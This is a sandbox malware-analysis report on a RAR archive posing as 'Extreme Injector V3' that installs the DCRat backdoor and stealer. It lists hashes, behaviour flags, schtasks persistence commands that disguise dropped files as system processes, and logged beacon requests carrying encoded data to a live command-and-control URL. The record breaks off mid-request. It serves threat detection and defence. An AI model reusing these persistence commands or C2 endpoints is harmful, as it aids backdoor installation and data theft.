File name:

Extreme Injector V3 (3).rar

Full analysis: https://app.any.run/tasks/5b654b28-d6d4-4853-a5da-e6e5c7ac709a
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: January 04, 2024, 19:32:15
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

13D7AD8E46DAA94F672431BD98DF1F61

SHA1:

3E6001D16B7670F39D6F09F429947EB289BD8FC5

SHA256:

8560B827D1A58DCC81C2D94DCE540443D3720C73AD7F3B854593E0CE837C83E7

SSDEEP:

98304:DGT24G+mz3CPnb4JpT7c7EcdLWf1Plob5KI/gjb9VSb654xAyuvAUpBOdgpmgAKu:S9L/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 2204)

    • Actions looks like stealing of personal data

      • dllhost.exe (PID: 2648)

  • SUSPICIOUS

    • Reads the Internet Settings

      • Extreme Injector V3.exe (PID: 392)
      • wscript.exe (PID: 2204)
      • FonthostDhcp.exe (PID: 1504)
      • FonthostDhcp.exe (PID: 2308)
      • dllhost.exe (PID: 2648)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 2204)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2204)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 2204)
      • FonthostDhcp.exe (PID: 1504)

    • The process executes VB scripts

      • Extreme Injector V3.exe (PID: 392)

    • The process creates files with name similar to system file names

      • FonthostDhcp.exe (PID: 2308)

    • Reads settings of System Certificates

      • dllhost.exe (PID: 2648)

  • INFO

    • Drops the executable file immediately after the start

      • Extreme Injector V3.exe (PID: 392)
      • WinRAR.exe (PID: 2184)
      • FonthostDhcp.exe (PID: 2308)

    • Reads the computer name

      • Extreme Injector V3.exe (PID: 392)
      • FonthostDhcp.exe (PID: 1504)
      • FonthostDhcp.exe (PID: 2308)
      • dllhost.exe (PID: 2648)

    • Checks supported languages

      • Extreme Injector V3.exe (PID: 392)
      • FonthostDhcp.exe (PID: 1504)
      • FonthostDhcp.exe (PID: 2308)
      • dllhost.exe (PID: 2648)

    • Reads the machine GUID from the registry

      • FonthostDhcp.exe (PID: 1504)
      • FonthostDhcp.exe (PID: 2308)
      • dllhost.exe (PID: 2648)

    • Reads Environment values

      • FonthostDhcp.exe (PID: 1504)
      • FonthostDhcp.exe (PID: 2308)
      • dllhost.exe (PID: 2648)

    • Reads product name

      • FonthostDhcp.exe (PID: 1504)
      • FonthostDhcp.exe (PID: 2308)
      • dllhost.exe (PID: 2648)

    • Executed via WMI

      • schtasks.exe (PID: 2668)
      • schtasks.exe (PID: 1924)
      • schtasks.exe (PID: 1600)
      • schtasks.exe (PID: 2736)
      • schtasks.exe (PID: 2576)
      • schtasks.exe (PID: 996)
      • schtasks.exe (PID: 1384)
      • schtasks.exe (PID: 552)
      • schtasks.exe (PID: 148)
      • schtasks.exe (PID: 1768)
      • schtasks.exe (PID: 2588)
      • schtasks.exe (PID: 1572)
      • schtasks.exe (PID: 2316)
      • schtasks.exe (PID: 876)
      • schtasks.exe (PID: 2324)
      • schtasks.exe (PID: 2756)
      • schtasks.exe (PID: 2888)
      • schtasks.exe (PID: 2292)
      • schtasks.exe (PID: 2788)
      • schtasks.exe (PID: 2804)
      • schtasks.exe (PID: 2748)
      • schtasks.exe (PID: 2960)
      • schtasks.exe (PID: 2512)
      • schtasks.exe (PID: 1000)
      • schtasks.exe (PID: 1956)
      • schtasks.exe (PID: 1812)
      • schtasks.exe (PID: 2524)
      • schtasks.exe (PID: 2532)
      • schtasks.exe (PID: 1268)
      • schtasks.exe (PID: 980)
      • schtasks.exe (PID: 2396)
      • schtasks.exe (PID: 2376)
      • schtasks.exe (PID: 2380)
      • schtasks.exe (PID: 2820)
      • schtasks.exe (PID: 2360)
      • schtasks.exe (PID: 1484)
      • schtasks.exe (PID: 2844)
      • schtasks.exe (PID: 2832)
      • schtasks.exe (PID: 3068)
      • schtasks.exe (PID: 880)
      • schtasks.exe (PID: 3048)
      • schtasks.exe (PID: 3012)
      • schtasks.exe (PID: 3056)
      • schtasks.exe (PID: 2676)
      • schtasks.exe (PID: 2516)

    • Creates files in the program directory

      • FonthostDhcp.exe (PID: 2308)

    • Starts itself from another location

      • FonthostDhcp.exe (PID: 2308)

    • DCRAT has been detected (SURICATA)

      • dllhost.exe (PID: 2648)

    • Connects to the CnC server

      • dllhost.exe (PID: 2648)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
92
Monitored processes
54
Malicious processes
3
Suspicious processes
3

Behavior graph

Click at the process to see the details
start winrar.exe no specs extreme injector v3.exe no specs wscript.exe no specs wscript.exe no specs cmd.exe no specs fonthostdhcp.exe no specs cmd.exe fonthostdhcp.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT dllhost.exe

Process information

PID
CMD
Path
Indicators
Parent process
148schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Documents\dllhost.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
392"C:\Users\admin\AppData\Local\Temp\Rar$EXb2184.23204\Extreme Injector V3.exe" C:\Users\admin\AppData\Local\Temp\Rar$EXb2184.23204\Extreme Injector V3.exe—WinRAR.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\rar$exb2184.23204\extreme injector v3.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.24542_none_5c0717c7a00ddc6d\gdiplus.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
552schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\services.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
668C:\Windows\system32\cmd.exe /c ""C:\PortCombrowserIntocrt\9ooFS78ALNPOm.bat" "C:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
876schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Program Files\Notepad++\localization\dllhost.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
880schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 9 /tr "'C:\PortCombrowserIntocrt\ctfmon.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
980schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0017-0412-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
996schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Administrator\AppData\Roaming\Microsoft\conhost.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1000schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\Performance\lsass.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1268schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-0017-0412-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
Total events
6 258
Read events
6 195
Write events
63
Delete events
0

Modification events

(PID) Process:(2184) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\phacker.zip
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(2184) WinRAR.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
17
Suspicious files
1
Text files
17
Unknown types
0

Dropped files

PID
Process
Filename
Type
2184WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXb2184.23204\Extreme Injector V3.exeexecutable
MD5:F6DC1EC23DC4CFC69765A86158415BE6
SHA256:A845C1B578794666DC0C10D45F32215B2DDC9EA52F4C320E1C83020539335353
392Extreme Injector V3.exeC:\PortCombrowserIntocrt\9ooFS78ALNPOm.battext
MD5:F190F7F19BB37D9FD4F72586514CCEB1
SHA256:D3AE983A4BDE4226B109EED16A55AC4E123D422EC17C2B9F23B773A5D431DB39
392Extreme Injector V3.exeC:\PortCombrowserIntocrt\file.vbstext
MD5:677CC4360477C72CB0CE00406A949C61
SHA256:F1CCCB5AE4AA51D293BD3C7D2A1A04CB7847D22C5DB8E05AC64E9A6D7455AA0B
392Extreme Injector V3.exeC:\PortCombrowserIntocrt\FonthostDhcp.exeexecutable
MD5:863DEF7359A0AD592392F1677C4995AD
SHA256:A7626C22E3C97CC9FC3E2E5B999F0796C53008B91F6F46EBB16E659764FC3BAA
2308FonthostDhcp.exeC:\PortCombrowserIntocrt\winlogon.exeexecutable
MD5:863DEF7359A0AD592392F1677C4995AD
SHA256:A7626C22E3C97CC9FC3E2E5B999F0796C53008B91F6F46EBB16E659764FC3BAA
2308FonthostDhcp.exeC:\Program Files\Notepad++\localization\dllhost.exeexecutable
MD5:863DEF7359A0AD592392F1677C4995AD
SHA256:A7626C22E3C97CC9FC3E2E5B999F0796C53008B91F6F46EBB16E659764FC3BAA
2308FonthostDhcp.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\c5b4cb5e9653cctext
MD5:2E71F38139340A3308D87A04E325AE22
SHA256:199957B260BCCAF13B066A5460354C88ED9F8289E7790E10A0E563187D423C75
2308FonthostDhcp.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\services.exeexecutable
MD5:863DEF7359A0AD592392F1677C4995AD
SHA256:A7626C22E3C97CC9FC3E2E5B999F0796C53008B91F6F46EBB16E659764FC3BAA
2308FonthostDhcp.exeC:\Users\Public\Documents\5940a34987c991text
MD5:2B18901CBC513B0FB6AC03FC45883AE9
SHA256:478FE245212F6E3BE28BA833D83AECCA291C17028E82E966F1D33D6AC955C208
2308FonthostDhcp.exeC:\MSOCache\All Users\{90140000-0017-0412-0000-0000000FF1CE}-C\886983d96e3d3etext
MD5:70D3C816989D5FA66A82372840774EAA
SHA256:65624FB3FBD37C38501E5FC709309ABDBFA8546DCE6B7126785B5A17696560E3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
25
TCP/UDP connections
6
DNS requests
3
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?9qRq=sLi5MGdggnDEubgasrVaRB70R&QwIeKo8ThKyMbXTUIuND5=2pQ86QeqOs&d910117de1a31e3e3912b057c0b12822=bea1bc314bb95217d6e743e5ee7ae803&c0abd845fefa6cccd022caa19260d7d8=QMlJTZ2cTMiBjNxUTNwMmY2MTNyIGN2QDZ0U2YwYGN4IWZlFGNkFjY&9qRq=sLi5MGdggnDEubgasrVaRB70R&QwIeKo8ThKyMbXTUIuND5=2pQ86QeqOs
unknown
text
2.08 Kb
unknown
2648
dllhost.exe
GET
—
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&3ee7ee8311472d599cf57029fe23d4d9=0VfiIiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiI2MDO4IWOlVTN4MzYjdDMhJTO4ATZ1IGM1I2MzUWNiZTZzQGMihzYxIiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
—
—
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&9b4f0781afb4fafb1c9be851b198ad20=d1nIwYTNzYjNwI2MyEjN5EGZlZTMiJ2N5MzY4IjZmZWY2cTN4IGO3QmZ2IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&9b4f0781afb4fafb1c9be851b198ad20=d1nIiRjZ4EjMwMGM1Y2NlVTOwAjNyQTNyImNyM2NzETNkhTNjNmNihzNzIiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&9b4f0781afb4fafb1c9be851b198ad20=d1nIiBTZ4YzM2YmNzYWYiZWOzImZxkDZ1EjMmN2YjFjZxcTMxUWZ4YzN0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W&3ee7ee8311472d599cf57029fe23d4d9=QX9JiI6ICNyUjZ3QGNzIWY4UjMjRTYlNDO0gTYmJTYhFGZmRmZ2ICLiIGMlhjNzYjZ2MjZhJmZ5MjYmFTOkVTMyY2YjNWMmFzNxETZlhjN3QjI6ICZlVTOjJTOiNGOllTMkFDN1YjYjNWMhljMycjZhR2Y0ICLiATMwQjY2cTY4cDMxETM3cDZ4ITO2UGZ2UWOmZmMxYjNmVGMwYzNjVmI6ISO4MjYkhDMxMWZ5YDOzUWMhJjN3UTNjVzMzATN4EDNmJyes0nIRZWOKlHUp9maJBTSy4EbKJTWsZkeZFTTq50djRkW1UkeZlGaqp1aSpmTt5EVNpXVt1UMFpnTyUERP1Ga65ENJNETpFkaJZTSplFMZpXWzUUbZxmVHp1dRdlWtZ0VNpGaE5kMZ1mT0UUbZhmSq10aspWT5l0VONTRH9EeV1WWpNnbPlWRHRGaSVEZ0YVbJNXVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMlWVtRGcSNTWCpUaPlWTYRGMGdEZUxGSkBnWYFGMOdVUpdXaJlnRtNWdrlXTvFUeNdlQpNmdSNTWsBXbipkQTpFdW12YwgGWSl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlXTnNWbiBnQINGbSNTVnFFVNd2dXp1a5cFVnlFRJVDeXFGdG1mUnFlaORDaDlkNoBjU3NmaMlXQDF1ZVZUVEJ0QNdXUq5EdVRVYnt2UUVFaTpVe5ITUntWaV92dXpFM1c1Up9maJxWMXl1TWZUVEp0QMl2aTFld0U0SnlEWaBjQYl1aGVUS650Vh9mQYlVekVUSCR2aWdWUtNGaS1mYoJ1MVl2bqlEbxcVWPZlRVhkSDxUarxWS2kUaiBXMHplQOhVYpdXaJl2bqlESGVkVpdXaJBDbtF1ZJpXTnd3VZVXOXFmeOhlWtlTbjFlQ550ZNNDZ2JVbiBHZslkNJl2YspFbiBHZsl0cw4WS1x2RilnVtFldVd0Y2pEWkZkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS1UzVZRnSYpFSCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS51EMnpmT1dGRMRzZU1Ee0MUTxkUaPlWTyI2cKNETpVVRSl2bqlUNKhEZ1Z1MipmSDxUaVJzY6Z1RTl2bqlUd5cVYuZVbjl2dplUdsdVWOJ0UihmQDRWeW5mWyVzVZlnWrlkNJNVZwwmMZl2dplUerpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIkNjZ1cDZmdTM4MDMxYjM3E2MwQGNyQWM3EGMhBDOhBjYiljNkVTM0IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&3ee7ee8311472d599cf57029fe23d4d9=0VfiIiOiQjM1Y2NkRzMiFGO1IzY0EWZzgDN4EmZyEWYhRmZkZmNiwiIyITN4IWM1ITOhdTZwYGN5QGNmhjZhRjZ2UzN0UzMzIWOiZGNkhTY1IiOiQWZ1kzYykjYjhTZ5EDZxQTN2I2YjFTY5IjM3YWYkNGNiwiIwEDM0ImN3EGO3ATMxEzN3QGOykjNlRmNlljZmJTM2YjZlBDM2czYlJiOikDOzIGZ4ATMjVWO2gzMlFTYyYzN1UzY1MzMwUDOxQjZis3W
unknown
text
104 b
unknown
2648
dllhost.exe
GET
200
141.8.192.103:80
http://a0900442.xsph.ru/L1nc0In.php?NXQ1bdJT2Ei9=3CcMlcmo1Q1fbS4zCH34Y&pUhHpv9dAtzr2y0WzN=qVGZVA&Od06oFQ=XHoex1oYQHqt&1b789c30666448e4e40001625a5d0197=2kzYjBTY2UjY4IDNkJWZhRGM1QzY3ADZjZWMzI2MhlDZxcTYzQjN1QjMzUzNxgTMzITM4gzM&c0abd845fefa6cccd022caa19260d7d8=AZ2YWMwETOzEzY5ImM2MWY2UjY5MDZlNjNzMmZidTOilDM4EWNxEmM&19b9eb1db0327134a8e884f70d514d82=d1nI5oUaiZHbHRGawhVYzZkMZZHeHh1Y0l3SrZ0RjxmUzI2T4ZEW6Z1RiBnWFlEdG12YulTbjFFeGhlNNtWS2k0QhBjRHVVa3lWS1R2MiVHdtJmVKl2Tpd2RkhmQGpVe5ITW6x2RSl2dplUavpWSvJFWZFVMXlVekdlWzZ1RWl2dplUavpWS6JESjJUMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWUVNVeWJzYWFzVZxmUzUVa3lWS6ljMaBnSIpFaKNDWzZ1VhlnSXllbKl2TplEWapnVWJGaWdEZUp0QMNHeXRWdwpWSuVzVZ1UMXlFbSNTVpdXaJRnRXpFMONDT6Z1RiBnWHlEdG12YulTbjdXOp9kaKl2Tpd2RkhmQWJGaWdEZUp0QMl2a5JGcSdFZCJUeOVzY5FlQClXYsJFSihmVtV1bBlmYKJ0UaVHbHRVd4x2YjlzVhtmVYF1ZjR1Tu1UVRd2cXpFM4dVWspkRLdWVtJmdod0Y2p0MZBXMrlkNJl3YsVjMi9mQzIWeOdVYOp0QMlWSp9UaNhlYo5UbZxGZsl0cJlmYjpESYh3aWFVTCFTVKJVRYNWNDh1Y4ZEWp9